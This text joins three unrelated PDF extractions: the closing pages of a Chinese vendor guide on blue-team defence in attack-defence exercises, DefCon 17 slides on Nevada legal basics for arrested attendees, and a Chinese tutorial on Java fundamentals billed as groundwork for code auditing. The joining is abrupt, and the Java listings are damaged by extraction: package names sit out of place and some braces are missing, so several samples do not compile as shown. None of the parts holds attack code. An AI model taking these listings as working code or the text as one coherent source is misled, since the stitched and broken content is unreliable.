导致攻击行为不能被及时监测,攻击者来去自由;即 便是好不容易发现了入侵行为,也往往会因资产归属 不清、人员配合不顺畅等因素,造成处置工作进度缓 慢。这就给了攻击者大量的可乘之机,最后的结果往 往是目标系统轻而易举地被攻陷。 所以,政企机构应进一步做好安全运营工作,建立 实战攻防演习之 蓝队视角下的防御体系构建 22 闭环的安全运营体系: 通过内部威胁预测、外部威胁情报共享、定期开展 暴露资产发现、安全检查等工作,实现攻击预测,提 前预防的目的; 通过开展安全策略优化、安全基线评估加固、系统 上线安全检查、安全产品运行维护等工作,建立威胁 防护能力; 通过全流量风险分析、应用失陷检测、渗透测试、 蜜罐诱导等手段,对安全事件能进行持续检测,减少 威胁停留时间; 通过开展实战攻防演习、安全事件研判分析、规范 安全事件处置流程,对安全事件及时进行控制,降低 危害影响,形成快速处置和响应机制。 闭环安全运营体系非常重视人的作用。配备专门 的人员来完成监控、分析、响应、处置等重要环节的 工作,在日常工作中让所有参与人员能够熟悉工作流 程、协同作战,使得团队能不断得到强化锻炼,这样 在实战时中才能从容面对各类挑战。 安全防御能力的形成并非一蹴而就,单位管理者应 重视安全体系建设,建立起“以人员为核心、以数据为 实战攻防演习之 蓝队视角下的防御体系构建 23 基础、以运营为手段”的安全运营模式,逐步形成威胁 预测、威胁防护、持续检测、响应处置的闭环安全工 作流程,打造“四位一体”的闭环安全运营体系,通过 日常网络安全建设和安全运营的日积月累,建立起相 应的安全技术、管理、运营体系,形成面向实战的安 全防御能力。 实战攻防演习之 蓝队视角下的防御体系构建 24 附录 奇安信蓝队能力及攻防实践 自2016年奇安信集团协助相关部委首次承办网络 实战攻防演习以来,这种新的网络安全检验模式已经 有了长足的发展。 2016年至2019年上半年,奇安信集团参与了全国 范围内139场实战攻防演习的蓝队活动,其中参与监管 部门组织的防守47场,参与行业主管部门组织的防守 35场,参与各政企单位组织的防守57场。 在2016年至2019年上半年的网络实战攻防演习 中,奇安信集团共协助302家政企机构开展现场防守工 作,涉及34个行业,共投入现场防守团队1856人次, 二线专家与远程支持团队510人次,后勤保障团队126 人次,累计投入约24920人日。 实战攻防演习之 蓝队视角下的防御体系构建 25
pdf
So You Got Arrested at DefCon... Thursday, July 30 DefCon 17 Jim Rennie Disclaimer This is not legal advice. The presenter is not your lawyer (yet). This talk is not a substitute for legal advice. This is for edutainment purposes only. If you really get arrested, consult your attorney. Crimes you might commit @ DefCon Drugs Prostitutes Hacking Burglary Cheating on Gambling DUI Disorderly Conduct, Etc Drug Crimes Possession of Dangerous Drug Possession of Marijuana Possession of Drug w/o Prescription Possession of a Controlled Substance Possession with Intent to Sell Trafficking Controlled Substance Less Serious More Serious Prostitutes Prostitution is ILLEGAL in Las Vegas Soliciting Prostitution vs. Pandering “Trick Roll” Hacking/Computer Crimes (aka crimes you won't be charged with) Illegal Use of a System Unlawful Use of Encryption Unlawful Use or Access of a Computer, etc. Burglary “A person who, by day or night, enters any house, room, apartment, tenement, shop, warehouse, store, mill, barn, stable, outhouse or other building, tent, vessel, vehicle, vehicle trailer, semitrailer or house trailer, airplane, glider, boat or railroad car, with the intent to commit grand or petit larceny, assault or battery on any person or any felony, or to obtain money or property by false pretenses, is guilty of burglary.” - NRS 205.060 Cheating on Gambling Communicating odds/cards to other players Placing a bet after result is known Taking back a bet after result is known DUI Legal Limit = 0.08 Implied Consent If You Think You're Drunk, Ask for Blood! 3 Strikes – 3 DUI within 7 years = PRISON* (* - ok, there are exceptions, but don't count on them) Disorderly Conduct, Etc Disorderly Conduct Fake ID vs. Forged ID Oops, Arrested! What Happens When you are Arrested Miranda Invoke your right to silence Explicitly ask for an attorney If < 18 = explicitly ask for your parents Citation or Go to Jail Where you go when you are Arrested Clark County Detention Center 330 S. Casino Center Boulevard (702) 671-3900 City of Las Vegas Jail 3200 Stewart Ave (702) 229-6099 Other Jails Henderson, North Las Vegas, Etc. How do I get out of here? O.R. Own Recognizance release Bail Cash or Surety (usually 15%) How do I help or visit my friend? Bail them out Visit Put money on their books Do I need a lawyer? Yes.* (* - Probably) What happens next? 24 hours – probable cause hearing 72 hours – arraigned on charges or released 15 days – trial or preliminary hearing 60 days - trial How long is this going to take? Minor Misdemeanor = 24-72 hours Misdemeanor = 72 hours to 2 months (right to trial within 15 days) Gross Misdo or Felony = 2 to 4 months (right to trial within 60 days) DUI = 6 months (right to trial within 15 days) Handy Reference Card Features: ● Miranda Warnings ● Clark County Detention Center Info ● Las Vegas Jail Info ● Emergency Contact Number ● Bail Bonds Contact Number Drive Safe Come Back Again Soon!
pdf
Java代码审计之基础开发 1 Java代码审计之基础开发 Author Catsay Type 审计 完成 感悟 啥都不会 时间 数据类型与运算符 Java和PHP不同,他不是⼀个弱类型的语⾔。 编写主⽅法 main()⽅法是类体中的主⽅法,该⽅法从{开始到}结束。Public、Static和void分别是main()⽅法的权限修饰符、静态修饰符和 返回值修饰符,Java程序中的main()⽅法必须声明为:public static void ,其中String[] args是⼀个字符串类型的数组,它是 main()⽅法的参数 创建项⽬ 我们这⾥使⽤的是IDEA,⾸先去创建⼀个Java项⽬,然后创建⼀个包 然后在包下⾯去创建⼀个类 Feb 10, 2021 Java代码审计之基础开发 2 然后会⾃动⽣成⼀段代码,我们写⼀个main⽅法进去,打印⼀个HelloWorld出来 package ; public class HelloWorld { public static void main(String[] args){//快捷键psvm System.out.println("Hello World");//快捷键sout } } com.java.test Java代码审计之基础开发 3 数据类型 ⼋⼤数据类型 String不是⼀个数据类型,⽽是引⽤数据类型,属于Java提供的⼀个类 声明变量  数据类型 变量名 = 值;  数据类型 变量名; 变量名 = 值; 关键字 Java代码审计之基础开发 4 关键字是Java语⾔中已经被赋予特定意义的⼀些单词,不可以把这些字作为标识符来使⽤【⼤约有50个左右】 声明常量 final 数据类型 数据名称 = 值; 常量名通常使⽤⼤写字⺟表⽰常量,只能被赋值⼀次,通常定义时即对其进⾏初始化。 这⾥我们去新建⼀个类去做测试。 Java代码审计之基础开发 5 package ; public class JavaType { public static final int STATIC_NORMAL = 0; public static final int STATIC_LOCK = 1; public static void main(String[] args) { final int nCount; nCount = 123; System.out.println("STATIC_NORMAL value is :"+STATIC_NORMAL); System.out.println("STATIC_LOCK value is :"+STATIC_LOCK); System.out.println("nCount value is :"+nCount); } } 强制类型转换 当把⾼精度的变量的值赋值给低精度变量时,必须使⽤强制类型转换(⼜称为显式类型转换) 语法规则:(类型名)要转换的内容 package ; public class ChangeType { public static void main(String[] args) { int nNum = 10; double dNum = 10.8; int ndNum = (int)dNum; double dnNum = (double)nNum; System.out.println("ndNum = "+ndNum); System.out.println("dnNum = "+dnNum); com.java.test com.java.test Java代码审计之基础开发 6 } } 低精度转换⾼精度会导致精度丢失 赋值运算符 赋值运算符以=表⽰,功能是将右⽅操作数所含的值赋值给左⽅的操作数 Java代码审计之基础开发 7 算数运算符 算数运算符⽤在数学表达式中,他们的作⽤和在数学中的作⽤⼀样,下表列出了所有的算数运算符。 关系运算符 Java代码审计之基础开发 8 位运算符 Java定义了位运算符,应⽤于整数类型(int)、⻓整型(long)、短整型(short)、字符型(char)和字节型(byte)等类型。 下表列出了位运算符的基本运算,假设A60、B13 逻辑运算符 下表列出了逻辑运算符的基本运算,假设布尔类型变量A为真,B为假 三元运算符 三元运算符的运算规律为:若条件式的值为true,则整个表达式取1,否则取2 Java代码审计之基础开发 9 variable x = (expression)?value if true:value if false instanceof运算符 该运算符⽤于操作对象实例,检查该对象是否是⼀个特定类型(类类型或者接⼝类型) instanceof运算符使⽤格式如下: Object reference variable) instanceof (class/interface type) package ; public class instanceofTest { public static void main(String[] args) { String sName = "Catsay"; boolean result = sName instanceof String; System.out.println("Name type is String:"+result); } } 数组操作  数组概述及声明 数组是⼀种容器 数组可以存储基本类型、引⽤类型 数组存储的类型必须保持⼀致 声明⽅式: com.java.test Java代码审计之基础开发 10 数据类型 数组名[]; 数据类型[] 数组名;  ⼀维数组的创建 创建⼀维数组的三种⽅式:  int[] arr1 = new int[4];//这⾥的4代表的是数组的空间,就当作是存放元素的个数  int[] arr2 = 1,2,3,4;  int[] arr3 = new int[]{1,2,3,4; package ; public class ArrayTest { public static void main(String[] args) { //⽅式1 int[] arr1 = new int[4]; arr1[0] = 100; arr1[1] = 200; arr1[2] = 300; arr1[3] = 400; System.out.println("Array1[0] value is :"+arr1[0]); System.out.println("Array1[1] value is :"+arr1[1]); System.out.println("Array1[2] value is :"+arr1[2]); System.out.println("Array1[3] value is :"+arr1[3]); //⽅式2 int[] arr2 = {1,2,3,4}; System.out.println("Array2[0] value is :"+arr2[0]); System.out.println("Array2[1] value is :"+arr2[1]); System.out.println("Array2[2] value is :"+arr2[2]); System.out.println("Array2[3] value is :"+arr2[3]); //⽅式3,使⽤循环输出 int[] arr3 = new int[]{4,3,2,1}; for (int i = 0;i < 4;i++){ System.out.println("Array3["+i+"] value is "+arr3[i]); } } } 3. ⼆维数组的创建 创建⼆维数组的三种⽅式:  int arr1 = new int[2]4; com.java.core Java代码审计之基础开发 11  int[][] arr2 = 1,2,3,1,2,3,1,2,3;  int[][] arr3 = new int[][]{1,2,3,1,2,3,1,2,3; package ; public class ArraysTest { public static void main(String[] args) { int[][] arr2 = {{1,2,3},{4,5,6},{7,8,9}}; for (int i = 0;i < arr2.length;i++){ for (int j = 0;j < arr2[i].length;j++){ System.out.println("Array2["+i+"]["+j+"] value is "+arr2[i][j]); } } } } 4. 数组的基本操作  数组的遍历 遍历数组就是获取数组中的每个元素,通常情况下遍历数组都使⽤for循环来实现,同理遍历⼆维数组就需要使⽤两个for循环 来实现,通过数组的length属性可以获取数组的⻓度  填充替换数组元素 使⽤fill()⽅法填充数组元素 package ; import .Arrays; public class Arraysfill { public static void main(String[] args) { int[] arr1 = {1,2,3}; Arrays.fill(arr1,4); for (int i = 0;i < arr1.length;i++){ System.out.println("Array1["+i+"] value is "+arr1[i]); } } } com.java.core com.java.core java.util Java代码审计之基础开发 12  数组排序 对数组进⾏排序,通过sort()⽅法可以实现对数组的排序 int[] arr2 = {2,5,1,7,9,0}; Arrays.sort(arr2); for (int i = 0;i < arr2.length;i++){ System.out.println("Array1["+i+"] value is "+arr2[i]); } Java代码审计之基础开发 13 类和对象 掌握要点:  ⾯向对象的思想  类和对象的概述  对象的创建和使⽤  ⽅法的定义(有返回值和没有返回值)  基本数据类型传参和引⼊数据类型传参  匿名对象的概述以及应⽤ ⾯向对象思想  结构化开发 ⾯向功能划分软件结构 ⾃顶⽽下 最⼩的⼦系统就是⽅法  ⾯向对象开发 把软件系统看成各种对象的集合 系统结构较稳定 ⼦系统相对独⽴ ⾯向对象的思想就是不断创建对象、使⽤对象、指挥对象做事情 Java代码审计之基础开发 14 类和对象的概述 成员变量:事物的属性(属性:事物描述的信息) 成员⽅法:事物的⾏为(⾏为:事物能做什么) 类:⼀组相关属性和⾏为的⼀种集合 对象:类的⼀种具体体现 定义类就是定义类的成员(成员变量和成员⽅法) 对象的创建 类名 对象名 = new 类名(); 引⽤对象成员 引⽤类属性:对象名.属性 引⽤类⽅法:对象名.⽅法() ⾸先我们来创建⼀个学⽣类.并且创建属性和⽅法 package ; public class StudentClass { public static void main(String[] args) { Student stu = new Student(); stu.sName = "Catsay"; stu.Hello(); stu.stuStudy("Wuhu"); stu.eat("CatsayS!"); } } class Student{ //属性 String sName; int nAge; //⽅法 public void stuStudy(String name){ System.out.println(name+"正在学习"); } public void eat(String name){ System.out.println(name+"正在吃饭"); } public void Hello(){ System.out.println(sName+"打了个招呼"); } } com.cla.core Java代码审计之基础开发 15 ⽅法的定义:  没有返回值的情况 public void ⽅法名(){ //⽅法体 } 如果⽅法没有返回值,返回值类型为void  有返回值的情况 public 返回值类型 ⽅法名(){ //⽅法体 } 如果⽅法有返回值,⽅法中必须有return关键字,返回值类型为该值的类型 有参构造 基本数据类型传参 当参数是基本数据类型的时候,⽐如传递i = 10,真实传参时,把10赋值给了形参 Java代码审计之基础开发 16 引⽤数据类型传参 当参数是对象的时候,传递的是对象的值,也就是对象的⾸地址。就是把对象的地址赋值给了形参 //定义的学⽣类 package ; /*增加学⽣信息,保存到数组中 *指定查找区间,来查找学⽣的姓名 * */ public class SearchStudent { String[] sNames = new String[5]; public void add(){ sNames[0] = "Catsay"; sNames[1] = "leihen"; sNames[2] = "xiaoyang"; sNames[3] = "lalala"; sNames[4] = "jibai"; } public int search(int nStart, int nEnd){ if (nStart<=0||nEnd>sNames.length) { System.out.println("传⼊区间不合法!"); return 0; } for (int i = nStart - 1;i < nEnd;i++){ System.out.println("查找到的是学⽣:"+i+" 姓名为:"+sNames[i]); } return 1; } } 然后在主类中调⽤ package ; public class SearchStudentCore { public static void main(String[] args) { SearchStudent stu = new SearchStudent(); stu.add(); stu.search(1,4); } } com.cla.core com.cla.core Java代码审计之基础开发 17 匿名对象的概述以及应⽤ 匿名对象只适合对⽅法的⼀次调⽤,调⽤多次就会产⽣多个对象。 匿名函数可以调⽤属性,调⽤后就会变成垃圾回收,没有任何意义。 package ; public class CarRun { public static void main(String[] args) { //正常调⽤ Car cl = new Car(); cl.Run(); //匿名调⽤ new Car().Run(); } } class Car{ public void Run(){ System.out.println("⻋正在运⾏"); } } com.cla.core Java代码审计之基础开发 18 ⾯向对象之封装 封装的概念 如下代码有什么缺陷? student s = new student(); s.age = -100;//年龄是⼀个负数 如何避免这个问题? 把问题封装起来 什么是封装? 将类的某些信息隐藏在类的内部,不允许外部程序直接访问,⽽是通过该类的提供的⽅法来实现对隐藏信息的操作和访问 封装的两⼤原则 把尽可能多的东西藏起来,对外部提供⼀个便捷的接⼝ 把所有的属性藏起来 封装的步骤  定义私有属性  ⽣成getter()/setter()⽅法封装  创建⼀个有参构造和⽆参构造  ⽣成toString⽅法 ⾸先我们去按照步骤写⼏个私有属性: private String sName; private int nAge; private String sSex; 然后第⼆步,在idea中⽣成getter/setter Java代码审计之基础开发 19 Java代码审计之基础开发 20 然后选择所有的属性,然后就会⾃动⽣成了 class Student1{ private String sName; private int nAge; private String sSex; public String getsName() { return sName; } public void setsName(String sName) { this.sName = sName; } public int getnAge() { return nAge; } public void setnAge(int nAge) { this.nAge = nAge; } public String getsSex() { return sSex; } public void setsSex(String sSex) { this.sSex = sSex; } } 第三步,写有参⽆参构造 Java代码审计之基础开发 21 然后会⽣成: public Student1(String sName, int nAge, String sSex) { this.sName = sName; this.nAge = nAge; this.sSex = sSex; } 接着写⽆参的 public Student1() {} 最后去⽣成toString⽅法 还是点击Generate→toString() @Override public String toString() { return "Student1{" + "sName='" + sName + '\'' + ", nAge=" + nAge + ", sSex='" + sSex + '\'' + '}'; } 我们还可以在年龄赋值的地⽅加上判断,重写setnAge⽅法 public void setnAge(int nAge) { if (nAge < 0){ System.out.println("年龄错误!"); } else { this.nAge = nAge; } } Java代码审计之基础开发 22 封装的优点  便于使⽤者正确的使⽤系统,防⽌错误修改属性  有助于系统之间的松耦合,提⾼系统独⽴性  类内部的结构可以⾃由修改,提⾼软件的重⽤性  降低构建⼤型系统的⻛险 类的访问修饰符 作⽤域修饰符 同⼀个类中 同⼀个包中 ⼦类中 任何地⽅ private ✔ ✖ ✖ ✖ 默认修饰符 ✔ ✔ ✖ ✖ protected ✔ ✔ ✔ ✖ public ✔ ✔ ✔ ✔ Static修饰符 Static可以⽤来修饰 成员变量 静态变量,可以直接通过类名访问 成员⽅法 静态变量,可以直接通过类名访问 Java代码审计之基础开发 23 代码块 静态代码块中,当Java虚拟机加载类的时候,会⾃动执⾏该代码块 ⾯向对象之继承 初识继承 继承的优点 类的继承特点 继承的注意事项 this和super的区别和应⽤ 继承构造运⾏机制 初识继承(extends) 继承就是⼦类继承⽗类的特征和⾏为,使得⼦类对象(实例)具有⽗类的实例域和⽅法,或⼦类从⽗类继承⽅法,使得⼦类具有⽗类相 同的⾏为。 我们去定义⼀个猫的类和⼀个狗的类来看⼀下 package ; public class extendsTest { public static void main(String[] args) { } } class Cat{ String sColor; int nAge; public void eat(){ System.out.println("开始吃饭"); } public void sleep(){ System.out.println("开始睡觉"); } } class Dog{ String sColor; int nAge; public void eat(){ System.out.println("开始吃饭"); } public void sleep(){ System.out.println("开始睡觉"); } } 这两个类⽬前没有任何关系,只不过是重复代码⽤了两遍,这时候我们可以定义⼀个⽗类,动物类。 package ; public class extendsTest { public static void main(String[] args) { } } class Animal{ String sColor; int nAge; public void eat(){ System.out.println("开始吃饭"); com.extendstest.core com.extendstest.core Java代码审计之基础开发 24 } public void sleep(){ System.out.println("开始睡觉"); } } class Cat extends Animal{ } class Dog extends Animal{ } 现在猫类和狗类的⽗类都是动物类,⽗类更通⽤,⼦类更具体 继承的优点: 提⾼了代码的复⽤性 提⾼了代码的维护性 让类与类之间产⽣关系(多态的前提下) Java继承的特点 Java中只⽀持单继承【不能同时继承两个类】 ⽀持多层继承(继承体)【例⼦:demoB继承类demoA,demoC继承了denoB,相当于也继承了demoA】 ⼦类可以使⽤⽗类,⽗类不允许使⽤⼦类 继承的注意事项  只能继承public和protected修饰的属性和⽅法(不管⼦类⽗类是否在同⼀个包⾥)  ⼦类不能继承⽗类的构造⽅法 Java代码审计之基础开发 25  ⼦类可以拥有⾃⼰的属性和⽅法,即⼦类可以对⽗类进⾏扩展 私有属性不可以继承 Java代码审计之基础开发 26 this和super的区别和应⽤ this : 代表当前类的引⽤ super : 代表⽗类的引⽤ 我们来写⼀个例⼦ Java代码审计之基础开发 27 package ; public class Demo4 { public static void main(String[] args) { S s = new S(); s.show(); } } class F{ int nNum = 100; int nNum2 = 200; } class S extends F{ int nNum2 = 300; public void show(){ System.out.println(this.nNum);//既可以调⽤⽗类,也可以调⽤⽗类(在本类没有的情况下) System.out.println(this.nNum2);//调⽤⼦类 System.out.println(super.nNum2);//调⽤⽗类 } } com.extendstest.core Java代码审计之基础开发 28 继承构造运⾏机制 ⼦类中所有的构造⽅法都会默认去访问⽗类的构造⽅法 Java代码审计之基础开发 29 这⾥是因为在打印⼦类构造函数之前,他会默认调⽤super()⽅法去调⽤⽗类去访问⽆参构造函数 ⾯向对象之多态 多态的概述 多态的实现 多态成员的特点 向上转型 向下转型 多态的优缺点 多态的概述 多态是同⼀⾏为具有多个不同表现形式或形态的能⼒。 Java代码审计之基础开发 30 多态的实现 多态存在的三个特点  要有继承  要有重写  ⽗类引⽤指向⼦类对象 package ; public class demo1 { // 1. 要有继承 // 2. 要有重写 // 3. ⽗类引⽤指向⼦类对象 public static void main(String[] args) { Father f = new Son();//⽗类引⽤指向⼦类对象 f.eat();//指向⼦类 } } class Father{ public void eat(){ System.out.println("吃饭"); } } class Son extends Father{ public void eat(){ System.out.println("吃零⾷"); } } 多态成员的特点  静态属性 没有多态  ⾮静态属性 没有多态  静态⽅法 没有多态 com.duotai.core Java代码审计之基础开发 31 因为都不涉及重写 package ; public class Demo2 { public static void main(String[] args) { Fa f = new So(); System.out.println(f.nNum);//没有重写 } } class Fa{ } class So extends Fa{ int nNum = 10; } 我们来在Fa类中再定义⼀个nNum com.duotai.core Java代码审计之基础开发 32 这⾥很明显也没有调⽤到⼦类,成员变量没有重写的概念 ⽅法是可以重写的 Java代码审计之基础开发 33 那么问题来了?静态⽅法是否可以呢? 结果是不可以 Java代码审计之基础开发 34 向上转型 <⽗类型> <引⽤变量名> = new <⼦类型>(); 此时通过⽗类引⽤变量调⽤的⽅法是⼦类覆盖或者继承⽗类的⽅法,不是⽗类的⽅法 此时通过⽗类引⽤变量⽆法调⽤⼦类特有的⽅法。 package ; public class demo3 { public static void main(String[] args) { Animal a = new Dog();//向上转型【⼦类型转换为⽗类型】 a.eat(); a.GouPao();//这⾥出错,⽗类没有这个⽅法 } } class Animal{ public void eat(){ System.out.println("吃东⻄"); } } class Dog extends Animal{ public void eat(){ System.out.println("吃⾻头"); } //特有⾏为 public void GouPao(){ System.out.println("狗刨"); } } com.duotai.core Java代码审计之基础开发 35 向下转型 <⼦类型> <引⽤变量名> = (<⼦类型>)<⽗类型的引⽤变量> 在向下转型的过程中,如果没有转换为真实⼦类类型,会出现类型转换异常 Java代码审计之基础开发 36 多态的优缺点 优点:提⾼了代码的拓展性和可维护性 缺点:⽆法直接访问⼦类特有的成员 抽象类和接⼝ 抽象类和抽象⽅法 抽象类的特点 接⼝的概述 接⼝的特点 接⼝与类之间的关系 接⼝和抽象类的区别 抽象类和抽象⽅法 抽象⽅法: 只给出⽅法定义⽽不去具体实现的⽅法叫做抽象⽅法,抽象⽅法是没有⽅法体的,在代码的表达上就是没有"{}" 抽象类: 包含⼀个或多个抽象⽅法的类也必须被声明为抽象类 抽象类和抽象⽅法的定义⽅式都需要在类名前⾯或⽅法名前⾯加上 abstract 关键字 Java代码审计之基础开发 37 抽象类的特点 抽象⽅法只能在抽象类⾥⾯ 抽象类和抽象⽅法必须⽤ abstract 修饰 抽象类不能创建对象(不能实例化) 抽象类可以有⾮抽象⽅法 ⼀个类继承了抽象类就是要重写他的所有抽象⽅法 我是⼀名⽼师,我的名字叫张三,我正在上课 我是⼀名司机,我的名字叫王五,我正在开⻋ ⾸先我们去创建⼀个抽象类,叫 Persion package ; /* * 抽象类必须⽤abstract修饰 * 抽象⽅法只能在抽象类⾥⾯ * ⼀个类继承了抽象类就是要重写他的所有抽象⽅法 * */ public abstract class Persion { private String sName; public String getsName() { return sName; } public void setsName(String sName) { this.sName = sName; } public abstract void work(); } 我们去主类中继承这个抽象类 package ; /* * 我是⼀名⽼师,我的名字叫张三,我正在上课 * 我是⼀名司机,我的名字叫王五,我正在开⻋ * */ public class demo1 { public static void main(String[] args) { Teacher tea = new Teacher(); Driver dr = new Driver(); tea.setsName("张三"); dr.setsName("王五"); tea.work(); dr.work(); } } class Teacher extends Persion{ @Override public void work() { System.out.println("我是⼀个⽼师,我正在上课,我的名字是"+this.getsName()); } } class Driver extends Persion{ @Override public void work() { System.out.println("我是⼀个司机,我正在开⻋,我的名字是"+this.getsName()); com.chouxiang.core com.chouxiang.core Java代码审计之基础开发 38 } } 接⼝的概述 Java语⾔的继承是单⼀继承,⼀个⼦类只能有⼀个⽗类。那么接⼝,就是Java为我们提供的⼀种机制,来解决继承单⼀的局限性。 接⼝⾥⾯的⽅法都是抽象⽅法。 接⼝的案例 以防盗⻔为例,锁可以开锁和上锁,将⻔和锁定义为抽象类,防盗⻔可以继承⻔的同时⼜继承锁吗? 将⻔定义为抽象类 锁定义为接⼝ 防盗⻔继承⻔ 实现锁的接⼝ 这时候我们⾸先需要⼀个⻔的类(Door),⼀个防盗⻔的类(SecurityDoor),⼀个锁的接⼝(Lock),⼀个调⽤的测试类 (TestDoor) Java代码审计之基础开发 39 Door类: package ; public abstract class Door { public abstract void open(); public abstract void close(); } SecurityDoor类: package ; public class SecurityDoor extends Door implements Lock{ @Override public void open() { System.out.println("门开了"); } @Override public void close() { System.out.println("门关了"); } @Override public void LockUp() { System.out.println("门锁上了"); } @Override public void openLock() { System.out.println("门开锁了"); } } Lock接⼝: package ; /* * 1. 只能有抽象⽅法 * 2. 只能有常量 * 3. 接⼝不能创建对象 * 4. ⼀个类要实现他的接⼝必须要实现他所有的⽅法 */ public interface Lock { public abstract void LockUp(); public abstract void openLock(); } com.chouxiang.core com.chouxiang.core com.chouxiang.core Java代码审计之基础开发 40 TestDoor类: package ; public class TestDoor { public static void main(String[] args) { Door d = new SecurityDoor(); d.close(); d.open(); ((SecurityDoor)d).LockUp(); ((SecurityDoor)d).openLock(); } } 接⼝的特点 只能有抽象⽅法 只能有常量 接⼝不能创建对象 ⼀个类要实现⼀个接⼝必须实现它的所有⽅法 接⼝与类之间的关系 类与类:继承关系 接⼝与类:多实现关系 接⼝与接⼝:继承关系 com.chouxiang.core Java代码审计之基础开发 41 接⼝的优点 打破了继承的局限性 对外提供了⼀种规则 降低了程序的耦合性 接⼝与抽象类的区别 异常处理 异常(Exception)的概念 异常的体系结构 常⻅的异常类 Java中如何进⾏异常处理 try...catch...finally处理异常 ⾃定义异常 运⾏异常和编译异常 异常的概念 在我们编写程序的时候,代码中可能会出现运⾏错误或者编译错误,那么为了处理这些问题,Java为我们提供了⼀种机制, 叫做异常处理机制 异常包含了错误的类型、原因以及位置 异常的体系结构 Java代码审计之基础开发 42 如何进⾏异常处理 Java异常处理都是由五个关键字实现的:Try、Catch、Finally、throw、throws Java代码审计之基础开发 43 这时候我们加上异常处理 常⻅的异常类 Java代码审计之基础开发 44 try...catch...finally catch不能独⽴于try存在 在try/catch后⾯添加finally块并⾮强制性的要求 try代码后不能既没有catch块也没有finally块 try,catch,finally块之间不能添加代码 Java代码审计之基础开发 45 ⾃定义异常 如果在⼀个⽅法体中抛出了异常,如何通知调⽤者呢? throws 声明在某个⽅法可能抛出的各种异常,多个异常⽤逗号隔开 ⽅式1:调⽤者处理异常 ⽅式2:调⽤者继续声明异常 main()⽅法声明的异常通常由Java虚拟机处理 例⼦:⽤⼾注册异常 Java代码审计之基础开发 46 ⾸先我们去主类中继承 Exception public class demo3 extends Exception Java代码审计之基础开发 47 这时候我们去创建⼀个⽤⼾注册的类: UserReg 除了这⾥可以使⽤try...catch之外我们还可以在⽅法后使⽤ throws 这⾥可以看出来,需要我们⼀个⼀个去⼿动抛出异常,很⿇烦 Java代码审计之基础开发 48 运⾏异常和编译异常 运⾏时期异常:RuntimeException的⼦类就是运⾏时期异常,在编译时期可以⾃由选择处理或者不处理 编译时期异常:是Exception的在编译时期必须处理 这⾥举个运⾏时期异常的例⼦ ⾸先写⼀个运⾏时异常的类 ClothException类: package ; public class ClothException extends RuntimeException{ public ClothException() { super(); } public ClothException(String message) { super(message); } public ClothException(String message, Throwable cause) { super(message, cause); } public ClothException(Throwable cause) { super(cause); } protected ClothException(String message, Throwable cause, boolean enableSuppression, boolean writableStackTrace) { super(message, cause, enableSuppression, writableStackTrace); } } ⼀个测试购买类(TestCloth): com.exception.core Java代码审计之基础开发 49 package ; //运⾏时期的异常 public class TestCloth { public static void main(String[] args) { TestCloth t = new TestCloth(); t.bug(200); } public void bug(int nSize){ if (nSize<0||nSize>100){ throw new ClothException("尺⼨出错"); } } } 这时候可以发现,编译是不出错的,在运⾏的时候才会抛出异常,我们可以使⽤try让他抛出异常 集合框架及泛型 为什么要使⽤集合框架 Java集合框架包含的内容 List接⼝实现类 ArrayList常⽤⽅法 LinkedList常⽤⽅法 HashSet常⽤⽅法 HashMap常⽤⽅法 泛型的引⽤ 泛型集合 为什么要使⽤集合框架 com.exception.core Java代码审计之基础开发 50 Java集合框架提供了⼀套性能优良、使⽤⽅法简单的接⼝和类,它们位于 java.util 包中 Java集合框架包含的内容 Collection接⼝:存储⼀组 不唯⼀ , ⽆序 的对象 List接⼝:存储⼀组 不唯⼀ , 有序 (顺序插⼊)的对象 Set接⼝:存储⼀组 唯⼀ , ⽆序 的对象 Java代码审计之基础开发 51 Map接⼝:存储⼀组键值对象,提供 key 到 value 的映射 List接⼝实现类 ArrayList实现了⻓度可变的数组,在内存中分配连续的空间。遍历元素和随机访问元素的效率⽐较⾼ LinkedList采⽤链表存储⽅式。插⼊,删除元素时的效率⽐较⾼ ArrayList常⽤⽅法 Java代码审计之基础开发 52 package ; import .ArrayList; public class ArrayListTest { public static void main(String[] args) { //创建ArrayList集合对象 ArrayList al = new ArrayList(); al.add(12);//添加元素 al.add("赵四"); al.add(28.0); //查询元素个数 System.out.println("元素的个数为:"+al.size()); //查找第⼆个元素 System.out.println("第⼆个元素为:"+al.get(1)); //输出所有元素 for (int i = 0;i < al.size();i++){ System.out.println("第"+(i+1)+"个元素为:"+al.get(i)); } //在第⼆的位置插⼊元素 al.add(2,"李四"); System.out.println(al); //使⽤foreach遍历 for (Object list:al) { System.out.println(list); } //判断集合中是否有赵四这个元素 if (al.contains("赵四")){ System.out.println("存在赵四"); } else{ System.out.println("不存在赵四"); } //删除指定元素:李四 al.remove("李四");//按照value删除 al.remove(0);//按照索引删除 System.out.println(al); com.jihe.core java.util Java代码审计之基础开发 53 } } LinkedList常⽤⽅法 package ; import .LinkedList; public class LinkedListTest { public static void main(String[] args) { LinkedList li = new LinkedList(); li.add("春节快乐"); li.add("端午快乐"); li.add("中秋快乐"); System.out.println(li); //获取最后⼀个元素 System.out.println("最后⼀个元素是:"+li.getLast()); //获取第⼀个元素 System.out.println("第⼀个元素是:"+li.getFirst()); //删除第⼀个元素 li.removeFirst(); System.out.println(li); } } HashSet使⽤ Set接⼝ Set接⼝存储⼀组唯⼀,⽆序对象。 HashSet是Set接⼝常⽤的实现类 Set中存放对象的引⽤ package ; import .HashSet; import .Iterator; import .Set; com.jihe.core java.util com.jihe.core java.util java.util java.util Java代码审计之基础开发 54 public class setTest { public static void main(String[] args) { Set hs = new HashSet(); hs.add("昨天"); hs.add("今天"); hs.add("明天"); //因为是⽆序的,所以没有索引 //查看元素个数 System.out.println("元素的个数为:"+hs.size()); //遍历 for (Object h:hs ) { System.out.println(h); } //迭代遍历 Iterator it = hs.iterator(); // for (int i = 0;i < hs.size();i++){ // System.out.println(it.next()); // } //这⾥更推荐while遍历 while(it.hasNext()){ System.out.println(it.next()); } } } HashSet常⽤⽅法 HashMap常⽤⽅法 Java代码审计之基础开发 55 package ; import .HashMap; import .Iterator; import .Set; public class hashMapTest { public static void main(String[] args) { HashMap hm = new HashMap(); hm.put("CN","中国"); hm.put("JP","⽇本"); hm.put("HK","⾹港"); System.out.println("Map集合⼤⼩为:"+hm.size()); //循环遍历key for (Object key:hm.keySet()){ System.out.println("key = "+key); } //循环遍历value for (Object val:hm.values()){ System.out.println("value = "+val); } //-----通过key去获取value----- System.out.println(hm.get("CN")); //通过循环key去获取value for (Object key:hm.keySet()){ System.out.println(key+" value is "+hm.get(key)); } //通过迭代器的⽅式,key-->value Set set = hm.keySet(); Iterator it = set.iterator(); while(it.hasNext()){ com.jihe.core java.util java.util java.util 